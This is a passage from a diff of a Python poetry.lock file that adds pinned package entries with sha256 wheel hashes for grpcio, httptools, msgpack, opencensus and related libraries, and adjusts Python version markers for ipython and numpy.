"sha256:3d14e3c4d65e19d8430a4e28ceb71ace4728776fd6c3ce34016947474479683f"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1bf949792cee20d2078323a9b02bacbbae002b9e3b9e2433f2741c15bdeba1c4"}, + {file = "grpcio-1.74.0-cp311-cp311-win32.whl", hash = "sha256:55b453812fa7c7ce2f5c88be3018fb4a490519b6ce80788d5913f3f9d7da8c7b"}, + {file = "grpcio-1.74.0-cp311-cp311-win_amd64.whl", hash = "sha256:86ad489db097141a907c559988c29718719aa3e13370d40e20506f11b4de0d11"}, + {file = "grpcio-1.74.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:8533e6e9c5bd630ca98062e3a1326249e6ada07d05acf191a77bc33f8948f3d8"}, + {file = "grpcio-1.74.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:2918948864fec2a11721d91568effffbe0a02b23ecd57f281391d986847982f6"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_aarch64.whl", hash = "sha256:60d2d48b0580e70d2e1954d0d19fa3c2e60dd7cbed826aca104fff518310d1c5"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3601274bc0523f6dc07666c0e01682c94472402ac2fd1226fd96e079863bfa49"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:176d60a5168d7948539def20b2a3adcce67d72454d9ae05969a2e73f3a0feee7"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:e759f9e8bc908aaae0412642afe5416c9f983a80499448fcc7fab8692ae044c3"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:9e7c4389771855a92934b2846bd807fc25a3dfa820fd912fe6bd8136026b2707"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:cce634b10aeab37010449124814b05a62fb5f18928ca878f1bf4750d1f0c815b"}, + {file = "grpcio-1.74.0-cp312-cp312-win32.whl", hash = "sha256:885912559974df35d92219e2dc98f51a16a48395f37b92865ad45186f294096c"}, + {file = "grpcio-1.74.0-cp312-cp312-win_amd64.whl", hash = "sha256:42f8fee287427b94be63d916c90399ed310ed10aadbf9e2e5538b3e497d269bc"}, + {file = "grpcio-1.74.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:2bc2d7d8d184e2362b53905cb1708c84cb16354771c04b490485fa07ce3a1d89"}, + {file = "grpcio-1.74.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c14e803037e572c177ba54a3e090d6eb12efd795d49327c5ee2b3bddb836bf01"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_aarch64.whl", hash = "sha256:f6ec94f0e50eb8fa1744a731088b966427575e40c2944a980049798b127a687e"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:566b9395b90cc3d0d0c6404bc8572c7c18786ede549cdb540ae27b58afe0fb91"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1ea6176d7dfd5b941ea01c2ec34de9531ba494d541fe2057c904e601879f249"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:64229c1e9cea079420527fa8ac45d80fc1e8d3f94deaa35643c381fa8d98f362"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_i686.whl", hash = "sha256:0f87bddd6e27fc776aacf7ebfec367b6d49cad0455123951e4488ea99d9b9b8f"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3b03d8f2a07f0fea8c8f74deb59f8352b770e3900d143b3d1475effcb08eec20"}, + {file = "grpcio-1.74.0-cp313-cp313-win32.whl", hash = "sha256:b6a73b2ba83e663b2480a90b82fdae6a7aa6427f62bf43b29912c0cfd1aa2bfa"}, + {file = "grpcio-1.74.0-cp313-cp313-win_amd64.whl", hash = "sha256:fd3c71aeee838299c5887230b8a1822795325ddfea635edd82954c1eaa831e24"}, + {file = "grpcio-1.74.0-cp39-cp39-linux_armv7l.whl", hash = "sha256:4bc5fca10aaf74779081e16c2bcc3d5ec643ffd528d9e7b1c9039000ead73bae"}, + {file = "grpcio-1.74.0-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:6bab67d15ad617aff094c382c882e0177637da73cbc5532d52c07b4ee887a87b"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_aarch64.whl", hash = "sha256:655726919b75ab3c34cdad39da5c530ac6fa32696fb23119e36b64adcfca174a"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a2b06afe2e50ebfd46247ac3ba60cac523f54ec7792ae9ba6073c12daf26f0a"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f251c355167b2360537cf17bea2cf0197995e551ab9da6a0a59b3da5e8704f9"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:8f7b5882fb50632ab1e48cb3122d6df55b9afabc265582808036b6e51b9fd6b7"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:834988b6c34515545b3edd13e902c1acdd9f2465d386ea5143fb558f153a7176"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:22b834cef33429ca6cc28303c9c327ba9a3fafecbf62fae17e9a7b7163cc43ac"}, + {file = "grpcio-1.74.0-cp39-cp39-win32.whl", hash = "sha256:7d95d71ff35291bab3f1c52f52f474c632db26ea12700c2ff0ea0532cb0b5854"}, + {file = "grpcio-1.74.0-cp39-cp39-win_amd64.whl", hash = "sha256:ecde9ab49f58433abe02f9ed076c7b5be839cf0153883a6d23995937a82392fa"}, + {file = "grpcio-1.74.0.tar.gz", hash = "sha256:80d1f4fbb35b0742d3e3d3bb654b7381cd5f015f8497279a1e9c21ba623e01b1"}, +] + +[package.extras] +protobuf = ["grpcio-tools (>=1.74.0)"] + [[package]] name = "h11" version = "0.16.0" @@ -1206,6 +1389,62 @@ http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] trio = ["trio (>=0.22.0,<1.0)"] +[[package]] +name = "httptools" +version = "0.6.4" +description = "A collection of framework independent HTTP protocol utils." +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +files = [ + {file = "httptools-0.6.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3c73ce323711a6ffb0d247dcd5a550b8babf0f757e86a52558fe5b86d6fefcc0"}, + {file = "httptools-0.6.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:345c288418f0944a6fe67be8e6afa9262b18c7626c3ef3c28adc5eabc06a68da"}, + {file = "httptools-0.6.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:deee0e3343f98ee8047e9f4c5bc7cedbf69f5734454a94c38ee829fb2d5fa3c1"}, + {file = "httptools-0.6.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca80b7485c76f768a3bc83ea58373f8db7b015551117375e4918e2aa77ea9b50"}, + {file = "httptools-0.6.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:90d96a385fa941283ebd231464045187a31ad932ebfa541be8edf5b3c2328959"}, + {file = "httptools-0.6.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:59e724f8b332319e2875efd360e61ac07f33b492889284a3e05e6d13746876f4"}, + {file = "httptools-0.6.4-cp310-cp310-win_amd64.whl", hash = "sha256:c26f313951f6e26147833fc923f78f95604bbec812a43e5ee37f26dc9e5a686c"}, + {file = "httptools-0.6.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f47f8ed67cc0ff862b84a1189831d1d33c963fb3ce1ee0c65d3b0cbe7b711069"}, + {file = "httptools-0.6.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0614154d5454c21b6410fdf5262b4a3ddb0f53f1e1721cfd59d55f32138c578a"}, + {file = "httptools-0.6.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f8787367fbdfccae38e35abf7641dafc5310310a5987b689f4c32cc8cc3ee975"}, + {file = "httptools-0.6.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40b0f7fe4fd38e6a507bdb751db0379df1e99120c65fbdc8ee6c1d044897a636"}, + {file = "httptools-0.6.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40a5ec98d3f49904b9fe36827dcf1aadfef3b89e2bd05b0e35e94f97c2b14721"}, + {file = "httptools-0.6.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:dacdd3d10ea1b4ca9df97a0a303cbacafc04b5cd375fa98732678151643d4988"}, + {file = "httptools-0.6.4-cp311-cp311-win_amd64.whl", hash = "sha256:288cd628406cc53f9a541cfaf06041b4c71d751856bab45e3702191f931ccd17"}, + {file = "httptools-0.6.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:df017d6c780287d5c80601dafa31f17bddb170232d85c066604d8558683711a2"}, + {file = "httptools-0.6.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:85071a1e8c2d051b507161f6c3e26155b5c790e4e28d7f236422dbacc2a9cc44"}, + {file = "httptools-0.6.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69422b7f458c5af875922cdb5bd586cc1f1033295aa9ff63ee196a87519ac8e1"}, + {file = "httptools-0.6.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16e603a3bff50db08cd578d54f07032ca1631450ceb972c2f834c2b860c28ea2"}, + {file = "httptools-0.6.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ec4f178901fa1834d4a060320d2f3abc5c9e39766953d038f1458cb885f47e81"}, + {file = "httptools-0.6.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f9eb89ecf8b290f2e293325c646a211ff1c2493222798bb80a530c5e7502494f"}, + {file = "httptools-0.6.4-cp312-cp312-win_amd64.whl", hash = "sha256:db78cb9ca56b59b016e64b6031eda5653be0589dba2b1b43453f6e8b405a0970"}, + {file = "httptools-0.6.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ade273d7e767d5fae13fa637f4d53b6e961fb7fd93c7797562663f0171c26660"}, + {file = "httptools-0.6.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:856f4bc0478ae143bad54a4242fccb1f3f86a6e1be5548fecfd4102061b3a083"}, + {file = "httptools-0.6.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:322d20ea9cdd1fa98bd6a74b77e2ec5b818abdc3d36695ab402a0de8ef2865a3"}, + {file = "httptools-0.6.4-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d87b29bd4486c0093fc64dea80231f7c7f7eb4dc70ae394d70a495ab8436071"}, + {file = "httptools-0.6.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:342dd6946aa6bda4b8f18c734576106b8a31f2fe31492881a9a160ec84ff4bd5"}, + {file = "httptools-0.6.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b36913ba52008249223042dca46e69967985fb4051951f94357ea681e1f5dc0"}, + {file = "httptools-0.6.4-cp313-cp313-win_amd64.whl", hash = "sha256:28908df1b9bb8187393d5b5db91435ccc9c8e891657f9cbb42a2541b44c82fc8"}, + {file = "httptools-0.6.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:d3f0d369e7ffbe59c4b6116a44d6a8eb4783aae027f2c0b366cf0aa964185dba"}, + {file = "httptools-0.6.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:94978a49b8f4569ad607cd4946b759d90b285e39c0d4640c6b36ca7a3ddf2efc"}, + {file = "httptools-0.6.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40dc6a8e399e15ea525305a2ddba998b0af5caa2566bcd79dcbe8948181eeaff"}, + {file = "httptools-0.6.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab9ba8dcf59de5181f6be44a77458e45a578fc99c31510b8c65b7d5acc3cf490"}, + {file = "httptools-0.6.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:fc411e1c0a7dcd2f902c7c48cf079947a7e65b5485dea9decb82b9105ca71a43"}, + {file = "httptools-0.6.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:d54efd20338ac52ba31e7da78e4a72570cf729fac82bc31ff9199bedf1dc7440"}, + {file = "httptools-0.6.4-cp38-cp38-win_amd64.whl", hash = "sha256:df959752a0c2748a65ab5387d08287abf6779ae9165916fe053e68ae1fbdc47f"}, + {file = "httptools-0.6.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:85797e37e8eeaa5439d33e556662cc370e474445d5fab24dcadc65a8ffb04003"}, + {file = "httptools-0.6.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:db353d22843cf1028f43c3651581e4bb49374d85692a85f95f7b9a130e1b2cab"}, + {file = "httptools-0.6.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ffd262a73d7c28424252381a5b854c19d9de5f56f075445d33919a637e3547"}, + {file = "httptools-0.6.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:703c346571fa50d2e9856a37d7cd9435a25e7fd15e236c397bf224afaa355fe9"}, + {file = "httptools-0.6.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:aafe0f1918ed07b67c1e838f950b1c1fabc683030477e60b335649b8020e1076"}, + {file = "httptools-0.6.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:0e563e54979e97b6d13f1bbc05a96109923e76b901f786a5eae36e99c01237bd"}, + {file = "httptools-0.6.4-cp39-cp39-win_amd64.whl", hash = "sha256:b799de31416ecc589ad79dd85a0b2657a8fe39327944998dea368c1d4c9e55e6"}, + {file = "httptools-0.6.4.tar.gz", hash = "sha256:4e93eee4add6493b59a5c514da98c939b244fce4a0d8879cd3f466562f4b7d5c"}, +] + +[package.extras] +test = ["Cython (>=0.29.24)"] + [[package]] name = "httpx" version = "0.28.1" @@ -1442,7 +1681,7 @@ description = "IPython: Productive Interactive Computing" optional = false python-versions = ">=3.10" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "ipython-8.37.0-py3-none-any.whl", hash = "sha256:ed87326596b878932dbcb171e3e698845434d8c61b8d8cd474bf663041a9dcf2"}, {file = "ipython-8.37.0.tar.gz", hash = "sha256:ca815841e1a41a1e6b73a0b08f3038af9b2252564d01fc405356d34033012216"}, @@ -2316,6 +2555,75 @@ doc = ["Sphinx (==6.*)", "numpydoc (<2.0)", "pydata-sphinx-theme (==0.13)", "sph lint = ["black (>=23.7.0)", "flake8 (>=6.0.0)", "flake8-absolute-import (>=1.0)", "flake8-docstrings (>=1.7.0)", "flake8-implicit-str-concat (==0.4.0)", "flake8-rst-docstrings (>=0.3)", "isort (>=5.12)", "pre-commit (>=3.3)"] test = ["coveralls (>=3.0,<4.0)", "pytest (>=3.0.0,<7.0.0)", "pytest-cov (>=2.5.1,<3.0)"] +[[package]] +name = "msgpack" +version = "1.1.1" +description = "MessagePack serializer" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "msgpack-1.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:353b6fc0c36fde68b661a12949d7d49f8f51ff5fa019c1e47c87c4ff34b080ed"}, + {file = "msgpack-1.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:79c408fcf76a958491b4e3b103d1c417044544b68e96d06432a189b43d1215c8"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78426096939c2c7482bf31ef15ca219a9e24460289c00dd0b94411040bb73ad2"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b17ba27727a36cb73aabacaa44b13090feb88a01d012c0f4be70c00f75048b4"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a17ac1ea6ec3c7687d70201cfda3b1e8061466f28f686c24f627cae4ea8efd0"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:88d1e966c9235c1d4e2afac21ca83933ba59537e2e2727a999bf3f515ca2af26"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f6d58656842e1b2ddbe07f43f56b10a60f2ba5826164910968f5933e5178af75"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:96decdfc4adcbc087f5ea7ebdcfd3dee9a13358cae6e81d54be962efc38f6338"}, + {file = "msgpack-1.1.1-cp310-cp310-win32.whl", hash = "sha256:6640fd979ca9a212e4bcdf6eb74051ade2c690b862b679bfcb60ae46e6dc4bfd"}, + {file = "msgpack-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:8b65b53204fe1bd037c40c4148d00ef918eb2108d24c9aaa20bc31f9810ce0a8"}, + {file = "msgpack-1.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:71ef05c1726884e44f8b1d1773604ab5d4d17729d8491403a705e649116c9558"}, + {file = "msgpack-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:36043272c6aede309d29d56851f8841ba907a1a3d04435e43e8a19928e243c1d"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a32747b1b39c3ac27d0670122b57e6e57f28eefb725e0b625618d1b59bf9d1e0"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a8b10fdb84a43e50d38057b06901ec9da52baac6983d3f709d8507f3889d43f"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba0c325c3f485dc54ec298d8b024e134acf07c10d494ffa24373bea729acf704"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:88daaf7d146e48ec71212ce21109b66e06a98e5e44dca47d853cbfe171d6c8d2"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:d8b55ea20dc59b181d3f47103f113e6f28a5e1c89fd5b67b9140edb442ab67f2"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a28e8072ae9779f20427af07f53bbb8b4aa81151054e882aee333b158da8752"}, + {file = "msgpack-1.1.1-cp311-cp311-win32.whl", hash = "sha256:7da8831f9a0fdb526621ba09a281fadc58ea12701bc709e7b8cbc362feabc295"}, + {file = "msgpack-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:5fd1b58e1431008a57247d6e7cc4faa41c3607e8e7d4aaf81f7c29ea013cb458"}, + {file = "msgpack-1.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ae497b11f4c21558d95de9f64fff7053544f4d1a17731c866143ed6bb4591238"}, + {file = "msgpack-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:33be9ab121df9b6b461ff91baac6f2731f83d9b27ed948c5b9d1978ae28bf157"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f64ae8fe7ffba251fecb8408540c34ee9df1c26674c50c4544d72dbf792e5ce"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a494554874691720ba5891c9b0b39474ba43ffb1aaf32a5dac874effb1619e1a"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb643284ab0ed26f6957d969fe0dd8bb17beb567beb8998140b5e38a90974f6c"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d275a9e3c81b1093c060c3837e580c37f47c51eca031f7b5fb76f7b8470f5f9b"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4fd6b577e4541676e0cc9ddc1709d25014d3ad9a66caa19962c4f5de30fc09ef"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb29aaa613c0a1c40d1af111abf025f1732cab333f96f285d6a93b934738a68a"}, + {file = "msgpack-1.1.1-cp312-cp312-win32.whl", hash = "sha256:870b9a626280c86cff9c576ec0d9cbcc54a1e5ebda9cd26dab12baf41fee218c"}, + {file = "msgpack-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:5692095123007180dca3e788bb4c399cc26626da51629a31d40207cb262e67f4"}, + {file = "msgpack-1.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3765afa6bd4832fc11c3749be4ba4b69a0e8d7b728f78e68120a157a4c5d41f0"}, + {file = "msgpack-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8ddb2bcfd1a8b9e431c8d6f4f7db0773084e107730ecf3472f1dfe9ad583f3d9"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:196a736f0526a03653d829d7d4c5500a97eea3648aebfd4b6743875f28aa2af8"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d592d06e3cc2f537ceeeb23d38799c6ad83255289bb84c2e5792e5a8dea268a"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4df2311b0ce24f06ba253fda361f938dfecd7b961576f9be3f3fbd60e87130ac"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e4141c5a32b5e37905b5940aacbc59739f036930367d7acce7a64e4dec1f5e0b"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b1ce7f41670c5a69e1389420436f41385b1aa2504c3b0c30620764b15dded2e7"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4147151acabb9caed4e474c3344181e91ff7a388b888f1e19ea04f7e73dc7ad5"}, + {file = "msgpack-1.1.1-cp313-cp313-win32.whl", hash = "sha256:500e85823a27d6d9bba1d057c871b4210c1dd6fb01fbb764e37e4e8847376323"}, + {file = "msgpack-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:6d489fba546295983abd142812bda76b57e33d0b9f5d5b71c09a583285506f69"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bba1be28247e68994355e028dcd668316db30c1f758d3241a7b903ac78dcd285"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8f93dcddb243159c9e4109c9750ba5b335ab8d48d9522c5308cd05d7e3ce600"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fbbc0b906a24038c9958a1ba7ae0918ad35b06cb449d398b76a7d08470b0ed9"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:61e35a55a546a1690d9d09effaa436c25ae6130573b6ee9829c37ef0f18d5e78"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:1abfc6e949b352dadf4bce0eb78023212ec5ac42f6abfd469ce91d783c149c2a"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:996f2609ddf0142daba4cefd767d6db26958aac8439ee41db9cc0db9f4c4c3a6"}, + {file = "msgpack-1.1.1-cp38-cp38-win32.whl", hash = "sha256:4d3237b224b930d58e9d83c81c0dba7aacc20fcc2f89c1e5423aa0529a4cd142"}, + {file = "msgpack-1.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:da8f41e602574ece93dbbda1fab24650d6bf2a24089f9e9dbb4f5730ec1e58ad"}, + {file = "msgpack-1.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f5be6b6bc52fad84d010cb45433720327ce886009d862f46b26d4d154001994b"}, + {file = "msgpack-1.1.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3a89cd8c087ea67e64844287ea52888239cbd2940884eafd2dcd25754fb72232"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d75f3807a9900a7d575d8d6674a3a47e9f227e8716256f35bc6f03fc597ffbf"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d182dac0221eb8faef2e6f44701812b467c02674a322c739355c39e94730cdbf"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b13fe0fb4aac1aa5320cd693b297fe6fdef0e7bea5518cbc2dd5299f873ae90"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:435807eeb1bc791ceb3247d13c79868deb22184e1fc4224808750f0d7d1affc1"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:4835d17af722609a45e16037bb1d4d78b7bdf19d6c0128116d178956618c4e88"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a8ef6e342c137888ebbfb233e02b8fbd689bb5b5fcc59b34711ac47ebd504478"}, + {file = "msgpack-1.1.1-cp39-cp39-win32.whl", hash = "sha256:61abccf9de335d9efd149e2fff97ed5974f2481b3353772e8e2dd3402ba2bd57"}, + {file = "msgpack-1.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:40eae974c873b2992fd36424a5d9407f93e97656d999f43fca9d29f820899084"}, + {file = "msgpack-1.1.1.tar.gz", hash = "sha256:77b79ce34a2bdab2594f490c8e80dd62a02d650b91a75159a63ec413b8d104cd"}, +] + [[package]] name = "multidict" version = "6.6.4" @@ -2614,7 +2922,7 @@ description = "Fundamental package for array computing in Python" optional = false python-versions = ">=3.10" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb"}, {file = "numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90"}, @@ -2786,6 +3094,35 @@ datalib = ["numpy (>=1)", "pandas (>=1.2.3)", "pandas-stubs (>=1.1.0.11)"] realtime = ["websockets (>=13,<16)"] voice-helpers = ["numpy (>=2.0.2)", "sounddevice (>=0.5.1)"] +[[package]] +name = "opencensus" +version = "0.11.4" +description = "A stats collection and distributed tracing framework" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "opencensus-0.11.4-py2.py3-none-any.whl", hash = "sha256:a18487ce68bc19900336e0ff4655c5a116daf10c1b3685ece8d971bddad6a864"}, + {file = "opencensus-0.11.4.tar.gz", hash = "sha256:cbef87d8b8773064ab60e5c2a1ced58bbaa38a6d052c41aec224958ce544eff2"}, +] + +[package.dependencies] +google-api-core = {version = ">=1.0.0,<3.0.0", markers = "python_version >= \"3.6\""} +opencensus-context = ">=0.1.3" +six = ">=1.16,<2.0" + +[[package]] +name = "opencensus-context" +version = "0.1.3" +description = "OpenCensus Runtime Context" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "opencensus-context-0.1.3.tar.gz", hash = "sha256:a03108c3c10d8c80bb5ddf5c8a1f033161fa61972a9917f9b9b3a18517f0088c"}, + {file = "opencensus_context-0.1.3-py2.py3-none-any.whl", hash = "sha256:073bb0590007af276853009fac7e4bab1d523c3f03baf4cb4511ca38967c6039"}, +] + [[package]] name = "opentelemetry-api" version = "1.34.1" @@ -2838,6 +3175,23 @@ opentelemetry-sdk = ">=1.34.1,<1.35.0" requests = ">=2.7,<3.0" typing-extensions = ">=4.5.0" +[[package]] +name = "opentelemetry-exporter-prometheus" +version = 